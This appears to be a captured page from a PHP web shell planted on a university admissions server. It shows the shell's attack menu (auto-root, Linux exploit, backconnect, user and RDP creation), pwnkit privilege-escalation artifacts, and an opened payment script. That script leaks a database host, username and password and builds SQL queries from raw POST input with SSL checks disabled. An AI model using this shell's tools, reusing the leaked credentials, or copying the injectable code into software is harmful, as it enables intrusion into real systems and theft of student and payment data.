Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.133.127.131
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
phdadm /
[ HOME SHELL ]
Name
Size
Permission
Action
.git
[ DIR ]
drwxrwxrwx
.pkexec
[ DIR ]
drwxr-xr-x
.vscode
[ DIR ]
drwxrwxrwx
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
PHPExcel
[ DIR ]
drwxrwxrwx
Paytm
[ DIR ]
drwxrwxrwx
acu
[ DIR ]
drwxrwxr-x
acu-admin
[ DIR ]
drwxrwxr-x
admin-src
[ DIR ]
drwxrwxrwx
bcu
[ DIR ]
drwxrwxrwx
css
[ DIR ]
drwxrwxrwx
docs
[ DIR ]
drwxrwxrwx
images
[ DIR ]
drwxrwxrwx
img
[ DIR ]
drwxrwxrwx
js
[ DIR ]
drwxrwxrwx
libs
[ DIR ]
drwxrwxrwx
pgadm
[ DIR ]
drwxrwxrwx
pget_photos
[ DIR ]
drwxrwxrwx
pgetadm
[ DIR ]
drwxrwxrwx
plugins
[ DIR ]
drwxrwxrwx
razorpay
[ DIR ]
drwxrwxrwx
src
[ DIR ]
drwxrwxrwx
tcpdf
[ DIR ]
drwxrwxrwx
uniclare
[ DIR ]
drwxrwxr-x
upload
[ DIR ]
drwxrwxrwx
uploads
[ DIR ]
drwxrwxrwx
vku-admin
[ DIR ]
drwxrwxrwx
vskub
[ DIR ]
drwxrwxrwx
.DS_Store
22
KB
-rwxrwxrwx
.gitignore
67
B
-rwxrwxrwx
.mad-root
0
B
-rw-r--r--
.phdadm.php
3.61
KB
-rw-r--r--
AVAIL_SEATS_16112021.pdf
353.8
KB
-rwxrwxrwx
app.php
498
B
-rwxrwxrwx
casteupload.php
1.19
KB
-rw-r--r--
cconfig.php
1.84
KB
-rwxrwxrwx
consts.php
212
B
-rwxrwxrwx
database.php
643
B
-rwxrwxrwx
degreedocupload.php
1.19
KB
-rw-r--r--
forgot-password.php
2.19
KB
-rwxrwxrwx
hkupload.php
1.18
KB
-rw-r--r--
instruction_regn.html
4.44
KB
-rwxrwxrwx
login.php
317
B
-rwxrwxrwx
logo.jpg
85.69
KB
-rwxr-xr-x
nocupload.php
1.18
KB
-rw-r--r--
otherdocupload.php
1.19
KB
-rw-r--r--
pgResponse.php
12.83
KB
-rwxrwxrwx
photoupload.php
1.26
KB
-rw-rw-r--
pwnkit
10.99
KB
-rwxr-xr-x
resetpassword.php
697
B
-rwxrwxrwx
rzp.csv
67
B
-rwxrwxrwx
sendGridMail.php
1.28
KB
-rwxrwxrwx
sendMobEmailOTP.php
3.55
KB
-rwxrwxrwx
sendsmsapi.php
814
B
-rwxrwxrwx
signin.php
973
B
-rwxrwxrwx
signup.php
1.22
KB
-rwxrwxrwx
some_excel_file.xlsx
6.6
KB
-rwxrwxrwx
student.php
13.52
KB
-rwxrwxrwx
teachdocupload.php
1.19
KB
-rw-r--r--
test.php
16
B
-rwxrwxrwx
ugcdocupload.php
1.15
KB
-rw-r--r--
upload.php
415
B
-rwxrwxrwx
upload1.php
423
B
-rwxrwxrwx
upload_file.php
787
B
-rwxrwxrwx
upload_file_org.php
787
B
-rwxrwxrwx
upload_file_pg.php
740
B
-rwxrwxrwx
validateRegno.php
2.1
KB
-rwxrwxrwx
validateRegno_04092020.php
2.03
KB
-rwxrwxrwx
verify.php
12.85
KB
-rwxrwxrwx
vkurankupd.php
1.27
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pgResponse.php
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport" /> <title>PG Online Registration</title> <!-- Favicon--> <link rel="icon" href="images/favicon.jpg" type="image/x-icon" /> <!-- Google Fonts --> <link href="https://fonts.googleapis.com/css?family=Open+Sans:400,600,700,800&subset=latin-ext" rel="stylesheet" /> <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet" type="text/css" /> <!-- Bootstrap Core Css --> <link href="plugins/bootstrap/css/bootstrap.css" rel="stylesheet" /> <!-- Waves Effect Css --> <link href="plugins/node-waves/waves.css" rel="stylesheet" /> <!-- Custom Css --> <link href="css/style_adm.css" rel="stylesheet" /> <!-- AdminBSB Themes. You can choose a theme from css/themes instead of get all themes --> <link href="css/themes/all-themes.css" rel="stylesheet" /> <style> .font-16 { font-size: 16px !important; } </style> </head> <body class="theme-pink"> <!-- Page Loader --> <div class="page-loader-wrapper"> <div class="loader"> <div class="preloader"> <div class="spinner-layer pl-red"> <div class="circle-clipper left"> <div class="circle"></div> </div> <div class="circle-clipper right"> <div class="circle"></div> </div> </div> </div> <p>Please wait...</p> </div> </div> <!-- #END# Page Loader --> <!-- Top Bar --> <nav class="navbar" style="background: linear-gradient(to right,#159957,#155799);"> <div class="container-fluid" style="color: #fff;"> <div class="col-md-12 m-t--5"> <!-- <a href="#" class="links" onclick="homeLink()" style="float: right;margin-top: 15px; font-size:16px;color: #fff; margin-left: 10px;">Logout</a> <a class="links" href="vskub/pg_instruction.html" style="float: right; padding-top: 15px;font-size:16px;color: #fff;">Home</a> --> <center> <script type="text/javascript"> var url = window.location.pathname.split("/"); console.log(url[2]); if (url[2] == "bnu") document.write( '<h2 class="brand" style="margin-left: 50px;">Bengaluru North University</h2>' ); else if (url[2] == "bcu") document.write( '<h2 class="brand" style="margin-left: 50px;">Bengaluru Central University ( BCU )</h2>' ); else if (url[2] == "vskub") document.write( '<h2 class="brand" style="margin-left: 50px;">VIJAYANAGARA SRI KRISHNADEVARAYA UNIVERSITY, BALLARI</h2>' ); else if (url[2] == "rcub") document.write( '<h2 class="brand" style="margin-left: 50px;">RANI CHANNAMMA UNIVERSITY, BELAGAVI</h2>' );else if (url[2] == "ru") document.write( '<h2 class="brand" style="margin-left: 50px;">Raichur University, Raichur</h2>' ); </script> </center> <center> <h3 class="brand" class="m-t--5" style="margin-top: 10px;"> Online Registration for PG Entrance 2021-22 </h3> </center> </div> </div> </nav> <section class="content" style="margin-top: 11%"> <div class="row clearfix"> <div class="container-fluid"> <div class="col-lg-10 col-md-10 col-sm-12 col-xs-12 "> <div class="card p-l-20 p-r-20 p-b-20"> <div class="p-t-10 p-l-10 p-r-10" style="font-size: 15px;"> <?php // following files need to be included require_once("Paytm/lib/config_paytm.php"); require_once("Paytm/lib/encdec_paytm.php"); $paytmChecksum = ""; $paramList = array(); $isValidChecksum = "FALSE"; include("/var/www/config.php"); // $servername = "logisys.cluster-cv9maxyrxjgg.ap-south-1.rds.amazonaws.com"; // $username = "admin"; // $password = "Logisys2104"; $servername = SERVERNAME; $username = USERNAME; $password = PASSWORD; $databse = 'logisys3_comexam'; $conn = new mysqli($servername,$username,$password,$databse); if(!$conn) { die("Connection failed: " . mysqli_connect_error()); } $paytmChecksum = ""; $paramList = array(); $isValidChecksum = "FALSE"; $paramList = $_POST; $univcode = str_pad(substr($paramList['MERC_UNQ_REF'],1,2),3,"0",STR_PAD_LEFT); //var_dump($univcode); $get_data = "select * from dbname where funivcode ='{$univcode}'"; //var_dump($paramList['MERC_UNQ_REF'],1,3); //var_dump($paramList['MERC_UNQ_REF'],1,2); $result1=$conn->query($get_data); if (mysqli_num_rows($result1) > 0) { $dbnames = array(); $uniname = ""; $ffolder = ""; while($row = mysqli_fetch_assoc($result1)) { $dbnames[$row['FUNIVCODE']] = $row['FDBNAME']; $uniname = $row['FUNIVNAME']; $FUNIVCODE = $row['FUNIVCODE']; $ffolder = $row['FFOLDER']; } } $dbname = $dbnames[$univcode]; $servername = SERVERNAME; $username = USERNAME; $password = PASSWORD; $databse = $dbname; $conn = new mysqli($servername,$username,$password,$databse); if(!$conn) { die("Connection failed: " . mysqli_connect_error()); } $fdigi = substr($paramList['MERC_UNQ_REF'],0,1); if($fdigi == '1'){ $type = 'EXAM'; } else if($fdigi == '9'){ $type = 'PHDADM'; } $get_data = "select * from maspg where fbank = 'Paytm' and funivcode = '{$univcode}' and FENTTYPE = '$type'"; // var_dump($get_data); $result=$conn->query($get_data); if (mysqli_num_rows($result) > 0) { while($row = mysqli_fetch_assoc($result)) { $key = $row['fkey']; $mid = $row['fmid']; $fworkingid = $row['fworkingid']; $fmode = $row['fmode']; $freturnurl = $row['freturnurl']; } } $paytmChecksum = isset($_POST["CHECKSUMHASH"]) ? $_POST["CHECKSUMHASH"] : ""; //Sent by Paytm pg //var_dump($paytmChecksum); //Verify all parameters received from Paytm pg to your application. Like MID received from paytm pg is same as your application�s MID, TXN_AMOUNT and ORDER_ID are same as what was sent by you to Paytm PG for initiating transaction etc. $isValidChecksum = verifychecksum_e($paramList, $key, $paytmChecksum); //will return TRUE or FALSE string. // echo $isValidChecksum; if($isValidChecksum == "TRUE") { $status = $_POST["STATUS"]; //echo $status; $orderid = $_POST["ORDERID"]; $productinfo = $_POST["MERC_UNQ_REF"]; $txnid = $_POST["TXNID"]; $MID = $_POST["MID"]; $CHECKSUMHASH = $_POST["CHECKSUMHASH"]; // echo $productinfo; //$productinfo = '103E3050155'; //$MID = $mid; $requestParamList = array(); $responseParamList = array(); $requestParamList = array("MID" => "{$MID}" , "ORDERID" => "{$orderid}", "MERC_UNQ_REF" => "{$productinfo}"); $checkSum = getChecksumFromArray($requestParamList,PAYTM_MERCHANT_KEY); $requestParamList['CHECKSUMHASH'] = urlencode($checkSum); $data_string = "JsonData=".json_encode($requestParamList); $ch = curl_init(); // initiate curl //$url = "https://securegw-stage.paytm.in/merchant-status/getTxnStatus"; $url = "https://securegw.paytm.in/merchant-status/getTxnStatus"; curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POST, true); // tell curl you want to post something curl_setopt($ch, CURLOPT_POSTFIELDS,$data_string); // define what you want to post curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // return the output in string format $headers = array(); $headers[] = 'Content-Type: application/json'; curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $output = curl_exec($ch); // execute $info = curl_getinfo($ch); $data = json_decode($output, true); //var_dump($data); if ($data["STATUS"] == "TXN_SUCCESS") { $status = $data["STATUS"]; $ORDERID = $data["ORDERID"]; $productinfo = $data["MERC_UNQ_REF"]; $txnid = $data["TXNID"]; $MID = $data["MID"]; //$CHECKSUMHASH = $data["CHECKSUMHASH"]; $txnid = $data['TXNID']; $firstname = 'Paytm'; echo "<h1 style='color:green;'>Thank You. Your order status is success</h1>"; echo "<h2>Your Transaction ID for this transaction is ".$data['TXNID'].".</h2>"; echo "<h3>We have received a payment of Rs. " . $data['TXNAMOUNT'] ."</h3>"; if(substr($productinfo,0,1) == 8){ $update="update entstudadm set FPAYREMARKS = '{$txnid}',FPAYID = '{$txnid}', FPAYSTATUS = 'success', FPAYDATE = now() where fappno ='{$productinfo}'"; $result=$conn->query($update); $html=" <div class='m-l-10 btn btn-primary waves-effect btn' > <span onclick=\"PrintApplication('{$productinfo}','{$univcode}');\" style='float:left;margin-left:8px;cursor: pointer; line-height: 19px;font-size:14px;font-weight:bold;'>Click here to take a PrintOut</span> </div>"; echo $html; } else if(substr($productinfo,0,1) == 9){ $pgtype = substr($productinfo,0,1); $update="update phdstudadm set FPAYID = '{$txnid}', FPAYSTATUS = 'success', FPAYDATE = now() where fappno ='{$productinfo}'"; $result=$conn->query($update); $html=" <div class='m-l-10 btn btn-primary waves-effect btn' > <span onclick=\"PrintApplication('{$productinfo}','{$univcode}','{$pgtype}');\" style='float:left;margin-left:8px;cursor: pointer; line-height: 19px;font-size:14px;font-weight:bold;'>Click here to take a PrintOut</span> </div>"; echo $html; } } else { echo "<b>Transaction status is failure</b>" . "<br/>"; } /* if (isset($_POST) && count($_POST)>0 ) { foreach($_POST as $paramName => $paramValue) { echo "<br/>" . $paramName . " = " . $paramValue; } } */ } /* else { echo "<b>Checksum mismatched.</b>"; //Process transaction as suspicious. } */ ?> </div> </div> </div> </div> </div> </div> </section> <!-- Modal --> <script src="plugins/jquery/jquery.min.js"></script> <!-- Bootstrap Core Js --> <script src="plugins/bootstrap/js/bootstrap.js"></script> <!-- Select Plugin Js --> <script src="plugins/bootstrap-select/js/bootstrap-select.js"></script> <!-- Slimscroll Plugin Js --> <script src="plugins/jquery-slimscroll/jquery.slimscroll.js"></script> <!-- Waves Effect Plugin Js --> <script src="plugins/node-waves/waves.js"></script> <!-- Custom Js --> <script src="js/admin.js"></script> <!-- Demo Js --> <script src="js/demo.js"></script> <script src="js/pg/login.js"></script> <script src="js/pg/payment.js"></script> <script src="js/pg/reprint.js"></script> <script> function PrintApplication(appno,univcode,pgtype) { var db = "" if(univcode =='026') db = "vskub"; else if(univcode =='027') db = "rcub"; else if(univcode =='023') db = "dud"; else if(univcode =='048') db = "ru"; if(db == 'rcub') { alert('Print application after login'); return; }else { if(appno.substr(0,1) == 7) { var $host_url = "https://" + window.location.host + "/" + window.location.pathname.split("/")[1] + "/app.php?db=" + db + "&a="; window.location.href = $host_url + "PrintAdmissionOrder&appno=" + appno+ "°ree=all"; } else if(pgtype == '6') { window.location.href = "https://universitysolutions.in/pgadm/app.php?db="+db+"&a=admissionfeereport&appno=" + appno } else if(pgtype == '5') { window.location.href = "https://universitysolutions.in/pgadm/app.php?db="+db+"&a=printhostelfeereport&fappno=" + appno } else { if(univcode == '048') { var $host_url = "https://" + window.location.host + "/" + window.location.pathname.split("/")[1] + "/app.php?db=" + db + "&a="; window.location.href = $host_url + "bcuapplicationFormPGReport&appno=" + appno+ "°ree=all"; }else { var $host_url = "https://" + window.location.host + "/" + window.location.pathname.split("/")[1] + "/app.php?db=" + db + "&a="; window.location.href = $host_url + "vkuapplicationFormPGReport&appno=" + appno+ "°ree=all"; } } } } </script> </body> </html>
Close